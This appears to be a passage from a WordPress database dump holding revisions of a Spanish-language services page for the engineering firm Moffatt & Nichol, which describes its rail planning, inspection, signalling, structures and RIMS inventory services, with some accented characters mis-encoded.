href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"5\">trenes de alta velocidad</h1>\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas, con abastecedores logÃsticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el paÃs. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseÃ±o de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\n\nLa coordinaciÃ³n de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operaciÃ³n y la posible ampliaciÃ³n de los sistemas actuales.\n\nDesde los estudios iniciales de factibilidad econÃ³mica a travÃ©s del proceso de aprobaciÃ³n medioambiental hasta el planeamiento, diseÃ±o y administraciÃ³n de la construcciÃ³n de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseÃ±o y desarrollo del proyecto.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"6\">inspecciÃ³n y rehabilitaciÃ³n</h1>\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, asÃ como servicios de diseÃ±o para todos los aspectos de la infraestructura del ferrocarril. Una caracterÃstica Ãºnica en la industria es que proporcionamos una experiencia profesional especial con â€œojo de ingenierÃaâ€ para la inspecciÃ³n de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingenierÃa al estar en el terreno o en el agua desde el inicio. TambiÃ©n proporcionamos servicios de diseÃ±o en instalaciones tales como estaciones y terminales, muros de contenciÃ³n y estructuras de estabilidad de taludes.\n\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspecciÃ³n detallada, y en caso de ser necesario, terminar la inspecciÃ³n dentro de un cronograma ajustado. Los resultados de la inspecciÃ³n detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicaciÃ³n de las reparaciones y disposiciones recomendadas. AdemÃ¡s, podemos proporcionar la modelaciÃ³n de la vida de servicio utilizando el software STADIUMÂ® para prolongar la vida de servicio de estructuras marÃtimas existentes usando una metodologÃa de modelaciÃ³n cuantitativa.\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\nEl funcionamiento puntual, asÃ como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseÃ±o de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacciÃ³n del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\n\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimizaciÃ³n de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de lÃmites presupuestarios para proporcionar mejoras rentables.\n\nDesde los estudios iniciales de factibilidad econÃ³mica a travÃ©s del proceso de aprobaciÃ³n medioambiental hasta el planeamiento, diseÃ±o y administraciÃ³n de la construcciÃ³n de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un Ã©xito.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"8\">mantenimiento y mecÃ¡nica</h1>\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crÃtico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos pÃºblicos, operadores portuarios y expedidores, en el anÃ¡lisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contrataciÃ³n de servicios ferroviarios, hemos formado alianzas estratÃ©gicas con abastecedores y proveedores de servicios sin igual en la industria.\n\nAdemÃ¡s de ofrecer programas de mantenimiento de vÃas a los clientes, nuestra experiencia profesional incluye:\n<ul>\n	<li>DiagnÃ³stico de seÃ±ales y localizaciÃ³n de averÃas</li>\n	<li>DiseÃ±o hidrÃ¡ulico</li>\n	<li>Problemas de mitigaciÃ³n medioambiental</li>\n	<li>DiseÃ±o de artÃculos especiales para trabajo en vÃas fÃ©rreas</li>\n	<li>DiseÃ±o de sujetadores de durmientes y placas de asiento especiales</li>\n	<li>Estudios de cruces a nivel</li>\n</ul>\n \nLas capacidades relacionadas con lÃneas fÃ©rreas de Moffatt &amp; Nichol integran servicios mecÃ¡nicos con la infraestructura y las prÃ¡cticas de planeamiento de la firma. Proporcionamos informes de ingenierÃa y desarrollamos recomendaciones para mÃ©todos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, asÃ como instrucciones de prueba. La firma tambiÃ©n desarrolla planos mecÃ¡nicos detallados y supervisa proyectos de reconstrucciÃ³n y rehabilitaciÃ³n de equipos, ademÃ¡s de realizar inspecciones mecÃ¡nicas y pruebas.\n\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensiÃ³n de su actual programa de mantenimiento. Mediante alianzas estratÃ©gicas con compaÃ±Ãas de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucciÃ³n de locomotoras y vagones, incluyendo investigaciÃ³n en nuevas tecnologÃas para incorporarlas en equipo rodante ferroviario. La firma tambiÃ©n mantiene sistemas de gestiÃ³n de documentos, incluyendo la organizaciÃ³n de registros de mantenimiento y el desarrollo de especificaciones de piezas.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"9\">gestiÃ³n de programa</h1>\nEl equipo de Moffatt &amp; Nichol toma la visiÃ³n de nuestros clientes y los guÃa para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Ãšnicos en la industria, ofrecemos experiencia profesional interna en las Ã¡reas de estudios econÃ³micos y de mercado, gestiÃ³n de autorizaciones ambientales, servicios de ingenierÃa, estructuras, inspecciÃ³n y rehabilitaciÃ³n, seÃ±alizaciÃ³n y servicios mecÃ¡nicos.\n\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinaciÃ³n de la aprobaciÃ³n de sus programas. TambiÃ©n tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\n\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicaciÃ³n y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"10\">seÃ±alizaciÃ³n</h1>\nLa seguridad nunca es mÃ¡s importante que en el lugar en que el pÃºblico y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parÃ¡metros de seÃ±ales para todos los niveles de servicio ferroviario, asÃ como novedosos mÃ©todos de ingenierÃa para seÃ±alizaciÃ³n de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehÃculos y trenes.\n\nLos estudios de seÃ±alizaciÃ³n de Moffatt &amp; Nichol incluyen:\n<ul>\n	<li>SeparaciÃ³n del trÃ¡fico</li>\n	<li>Zona reservada</li>\n	<li>Zona de seguridad del corredor</li>\n	<li>SeÃ±alizaciÃ³n pasiva</li>\n	<li>Inventario</li>\n	<li>ModelaciÃ³n de vÃas fÃ©rreas-carretera</li>\n	<li>AnÃ¡lisis de operaciones de ferrocarriles</li>\n</ul>\n \nLa firma participa regularmente en proyectos que requieren la determinaciÃ³n de la protecciÃ³n de pasos mÃ¡s adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vÃas fÃ©rreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglÃ©s), estudios de impacto de trÃ¡fico, anÃ¡lisis de operaciones de ferrocarriles y estudios de trÃ¡nsito. Todos los cruces a nivel son diferentes y una sola aplicaciÃ³n no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protecciÃ³n para cualquier cruce a nivel.\n\nAdemÃ¡s de realizar el diagnÃ³stico de la seÃ±al y de localizar problemas de seÃ±ales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la seÃ±al FRA (AdministraciÃ³n Federal de Ferrocarriles de Estados Unidos), asÃ como pruebas del relÃ© y cable FRA, lo que incluye la documentaciÃ³n necesaria a los niveles federal y estatal.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"11\">estructuras</h1>\nLa experiencia en ingenierÃa estructural de Moffatt &amp; Nichol desempeÃ±a un papel importante en el desarrollo de corredores de trenes, asÃ como en la mejora del flujo de mercancÃas mediante la consolidaciÃ³n de los cruces a nivel. La firma proporciona servicios como el principal diseÃ±ador de servicios auxiliares para proyectos de pasos a desnivel, asÃ como estructuras de puentes para ferrocarriles y estructuras de retenciÃ³n para medidas de mitigaciÃ³n sÃsmica.\n\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, asÃ como con compaÃ±Ãas de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcciÃ³n de desvÃos del trÃ¡fico, desvÃos temporales de trenes (vÃas fÃ©rreas temporales), reubicaciones de equipos de servicios pÃºblicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"12\">RIMS (Sistema de GestiÃ³n de Inventario de Ferrocarriles)</h1>\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo mÃ¡s rÃ¡pida y fÃ¡cilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenÃ³ que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseÃ±Ã³ RIMS desde cero para cumplir requisitos especÃficos del programa de seguridad de cruces.\n\nRIMS es mÃ¡s que una plataforma tecnolÃ³gica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su telÃ©fono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexiÃ³n a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrÃ¡ que volver a imprimir la informaciÃ³n del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\n\n<strong>CaracterÃsticas:</strong>\n<ul>\n	<li>Cumple con la ley RSIA del 2008</li>\n	<li>Nos permite enviar sus datos a FRA</li>\n	<li>Como se aloja en la nube, no requiere ningÃºn mantenimiento del servidor</li>\n	<li>Permite ingresar datos en la mayorÃa de dispositivos con conexiÃ³n a Internet</li>\n	<li>Imprime formularios del inventario con los cambios marcados</li>\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\n	<li>Califica los cruces usando funciones de Ãndice de riesgo</li>\n	<li>Usted controla quiÃ©n tiene acceso a sus datos</li>\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\n</ul>\n&nbsp;\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision','','','2011-11-14 04:48:05','2011-11-14 04:48:05','',651,'http://moffattnichol.com/spanish/651-revision/',0,'revision','',0),(2491,1,'2012-06-15 06:47:00','2012-06-15 06:47:00','<div class=\"content_faq\">\r\n\r\n[vslider name=\"rails\"] &nbsp; <h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios econÃ³micos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cÃ³mo el negocio del transporte guÃa a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logÃstica intermedia de almacenes, ademÃ¡s de la experiencia en el diseÃ±o, estimaciÃ³n de costos y construcciÃ³n de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja Ãºnica a sus clientes que evalÃºan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios econÃ³micos y de mercado:\r\n<ul>\r\n	<li>AnÃ¡lisis macroeconÃ³mico y demanda de carga globales</li>\r\n	<li>AnÃ¡lisis de mercado especÃfico del paÃs y regional</li>\r\n	<li>Evaluaciones econÃ³micas de ventajas competitivas</li>\r\n	<li>DesviaciÃ³n de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisiÃ³n</li>\r\n	<li>Evaluaciones y desarrollos estratÃ©gicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversiÃ³n</li>\r\n	<li>Planeamiento y cÃ¡lculo de costo de servicios logÃsticos</li>\r\n	<li>Estudios de gestiÃ³n y organizaciÃ³n</li>\r\n	<li>EvaluaciÃ³n de alternativas de leasing</li>\r\n	<li>AnÃ¡lisis del impacto econÃ³mico</li>\r\n	<li>EstimaciÃ³n de beneficio del sector privado</li>\r\n	<li>EstimaciÃ³n de beneficio del sector pÃºblico</li>\r\n	<li>EvaluaciÃ³n de costo-beneficio</li>\r\n	<li>AnÃ¡lisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compaÃ±Ãas navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingenierÃa</h1>\r\nMoffatt &amp; Nichol guÃa a sus clientes a travÃ©s del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visiÃ³n general integral, proporcionando una amplitud de visiÃ³n desde el planeamiento y diseÃ±o hasta la terminaciÃ³n del proyecto. Ãšnica en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia prÃ¡ctica en ferrocarriles en las Ã¡reas de factibilidad econÃ³mica y evaluaciÃ³n de la logÃstica, planeamiento de ferrocarriles, modelaciÃ³n de la capacidad, simulaciones logÃsticas y diseÃ±o de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingenierÃa estructural y mecÃ¡nica, inspecciÃ³n y rehabilitaciÃ³n, seÃ±alizaciÃ³n, y la administraciÃ³n de la construcciÃ³n para lÃneas de pasajeros y de trÃ¡nsito en todo el paÃs. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante anÃ¡lisis de operaciones e implementaciÃ³n de la construcciÃ³n de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a travÃ©s de las regulaciones ambientales y la gestiÃ³n de autorizaciones en estrecha coordinaciÃ³n con el proceso de aprobaciÃ³n del diseÃ±o y de la construcciÃ³n.\r\n\r\nNuestra experiencia de diseÃ±o incluye lÃneas principales, vÃas secundarias y vÃas de patios de maniobras para ferrocarriles de Clase 1, asÃ como para operadores de lÃneas cortas y regionales. Esta experiencia no solo comprende las vÃas, sino tambiÃ©n instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, asÃ como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseÃ±o portuarios, junto con nuestra prÃ¡ctica en ferrocarriles, ha producido instalaciones intermodales de Ãºltima tecnologÃa en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseÃ±o de las nuevas instalaciones de una grÃºa pÃ³rtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan mÃ¡xima prioridad a la seguridad cuando se trata de transportar mercancÃas. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseÃ±o hasta la implementaciÃ³n. Nuestros profesionales de ferrocarriles reciben capacitaciÃ³n en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los Ãºltimos avances tecnolÃ³gicos y para proporcionar su experiencia profesional en las ideas mÃ¡s innovadoras. Esta capacitaciÃ³n y certificaciÃ³n da a nuestros ingenieros una conexiÃ³n con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compaÃ±Ãas ferroviarias toman decisiones basadas en consideraciones de costos. Los diseÃ±os de ferrocarriles tienen un impacto econÃ³mico y pueden necesitar una mayor evaluaciÃ³n de la proporciÃ³n ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades aÃ±adidas en la mediciÃ³n del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de trÃ¡fico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensiÃ³n de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas, con abastecedores logÃsticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el paÃs. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseÃ±o de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinaciÃ³n de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operaciÃ³n y la posible ampliaciÃ³n de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad econÃ³mica a travÃ©s del proceso de aprobaciÃ³n medioambiental hasta el planeamiento, diseÃ±o y administraciÃ³n de la construcciÃ³n de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseÃ±o y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspecciÃ³n y rehabilitaciÃ³n</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, asÃ como servicios de diseÃ±o para todos los aspectos de la infraestructura del ferrocarril. Una caracterÃstica Ãºnica en la industria es que proporcionamos una experiencia profesional especial con â€œojo de ingenierÃaâ€ para la inspecciÃ³n de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingenierÃa al estar en el terreno o en el agua desde el inicio. TambiÃ©n proporcionamos servicios de diseÃ±o en instalaciones tales como estaciones y terminales, muros de contenciÃ³n y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspecciÃ³n detallada, y en caso de ser necesario, terminar la inspecciÃ³n dentro de un cronograma ajustado. Los resultados de la inspecciÃ³n detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicaciÃ³n de las reparaciones y disposiciones recomendadas. AdemÃ¡s, podemos proporcionar la modelaciÃ³n de la vida de servicio utilizando el software STADIUMÂ® para prolongar la vida de servicio de estructuras marÃtimas existentes usando una metodologÃa de modelaciÃ³n cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, asÃ como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseÃ±o de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacciÃ³n del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimizaciÃ³n de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de lÃmites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad econÃ³mica a travÃ©s del proceso de aprobaciÃ³n medioambiental hasta el planeamiento, diseÃ±o y administraciÃ³n de la construcciÃ³n de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un Ã©xito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecÃ¡nica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crÃtico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos pÃºblicos, operadores portuarios y expedidores, en el anÃ¡lisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contrataciÃ³n de servicios ferroviarios, hemos formado alianzas estratÃ©gicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemÃ¡s de ofrecer programas de 